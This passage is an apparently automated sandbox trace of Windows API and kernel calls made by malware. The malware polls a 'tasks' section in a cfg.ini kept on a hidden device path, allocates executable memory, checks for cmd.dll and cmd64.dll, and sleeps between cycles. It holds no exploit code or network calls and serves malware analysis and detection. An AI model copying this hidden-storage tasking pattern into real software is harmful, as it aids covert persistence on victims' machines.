[0122.286] KeEnterCriticalRegion () [0122.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.286] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] KeLeaveCriticalRegion () [0122.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.286] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.286] KeEnterCriticalRegion () [0122.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] KeLeaveCriticalRegion () [0122.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.286] ReleaseMutex (hMutex=0xf0) returned 1 [0122.286] Sleep (dwMilliseconds=0x927c0) [0122.303] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.303] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.303] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.303] KeEnterCriticalRegion () [0122.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.303] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.303] IdePortDispatch () returned 0x103 [0122.303] KeWaitForMutexObject () returned 0x0 [0122.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.303] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4f00 [0122.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.304] KeLeaveCriticalRegion () [0122.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.304] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.304] KeEnterCriticalRegion () [0122.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.304] KeLeaveCriticalRegion () [0122.304] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.304] KeEnterCriticalRegion () [0122.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.304] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.304] IdePortDispatch () returned 0x103 [0122.304] KeWaitForMutexObject () returned 0x0 [0122.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.304] KeLeaveCriticalRegion () [0122.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.305] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.305] KeEnterCriticalRegion () [0122.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c67000 [0122.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.305] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.305] IdePortDispatch () returned 0x103 [0122.305] KeWaitForMutexObject () returned 0x0 [0122.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.305] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.305] IdePortDispatch () returned 0x103 [0122.305] KeWaitForMutexObject () returned 0x0 [0122.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.306] KeLeaveCriticalRegion () [0122.306] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.306] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.306] KeEnterCriticalRegion () [0122.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.306] KeLeaveCriticalRegion () [0122.306] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.306] KeEnterCriticalRegion () [0122.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.306] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.307] KeLeaveCriticalRegion () [0122.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.307] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.307] KeEnterCriticalRegion () [0122.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.307] ExFreePoolWithTag (P=0xfffffa8003be4f00, Tag=0x0) [0122.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.307] KeLeaveCriticalRegion () [0122.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.307] ReleaseMutex (hMutex=0xf0) returned 1 [0122.307] Sleep (dwMilliseconds=0x927c0) [0122.327] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.327] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.327] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.327] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.327] KeEnterCriticalRegion () [0122.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.327] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.328] IdePortDispatch () returned 0x103 [0122.328] KeWaitForMutexObject () returned 0x0 [0122.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.328] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.328] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.328] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.328] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.328] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.328] KeLeaveCriticalRegion () [0122.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.328] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.328] KeEnterCriticalRegion () [0122.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.328] KeLeaveCriticalRegion () [0122.328] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.328] KeEnterCriticalRegion () [0122.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.328] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.328] IdePortDispatch () returned 0x103 [0122.328] KeWaitForMutexObject () returned 0x0 [0122.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.328] KeLeaveCriticalRegion () [0122.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.329] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.329] KeEnterCriticalRegion () [0122.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6c000 [0122.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.329] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.329] IdePortDispatch () returned 0x103 [0122.329] KeWaitForMutexObject () returned 0x0 [0122.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.329] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.329] IdePortDispatch () returned 0x103 [0122.329] KeWaitForMutexObject () returned 0x0 [0122.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.329] KeLeaveCriticalRegion () [0122.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.330] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.330] KeEnterCriticalRegion () [0122.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] KeLeaveCriticalRegion () [0122.330] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.330] KeEnterCriticalRegion () [0122.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.330] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] KeLeaveCriticalRegion () [0122.330] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.330] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.330] KeEnterCriticalRegion () [0122.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] KeLeaveCriticalRegion () [0122.330] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.330] ReleaseMutex (hMutex=0xf0) returned 1 [0122.330] Sleep (dwMilliseconds=0x927c0) [0122.343] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.343] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.343] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.344] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.344] KeEnterCriticalRegion () [0122.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.344] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.344] IdePortDispatch () returned 0x103 [0122.345] KeWaitForMutexObject () returned 0x0 [0122.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.345] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.345] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.345] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.345] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.345] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4640 [0122.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.345] KeLeaveCriticalRegion () [0122.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.345] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.345] KeEnterCriticalRegion () [0122.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.345] KeLeaveCriticalRegion () [0122.345] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.345] KeEnterCriticalRegion () [0122.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.345] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.345] IdePortDispatch () returned 0x103 [0122.345] KeWaitForMutexObject () returned 0x0 [0122.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.346] KeLeaveCriticalRegion () [0122.346] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.346] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.346] KeEnterCriticalRegion () [0122.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.346] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c71000 [0122.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.346] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.346] IdePortDispatch () returned 0x103 [0122.346] KeWaitForMutexObject () returned 0x0 [0122.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.346] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.346] IdePortDispatch () returned 0x103 [0122.346] KeWaitForMutexObject () returned 0x0 [0122.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.346] KeLeaveCriticalRegion () [0122.346] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.347] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.347] KeEnterCriticalRegion () [0122.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] KeLeaveCriticalRegion () [0122.347] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.347] KeEnterCriticalRegion () [0122.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.347] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] KeLeaveCriticalRegion () [0122.347] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.347] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.347] KeEnterCriticalRegion () [0122.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] ExFreePoolWithTag (P=0xfffffa8003be4640, Tag=0x0) [0122.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.347] KeLeaveCriticalRegion () [0122.347] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.347] ReleaseMutex (hMutex=0xf0) returned 1 [0122.347] Sleep (dwMilliseconds=0x927c0) [0122.361] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.361] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.361] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.361] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.361] KeEnterCriticalRegion () [0122.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | 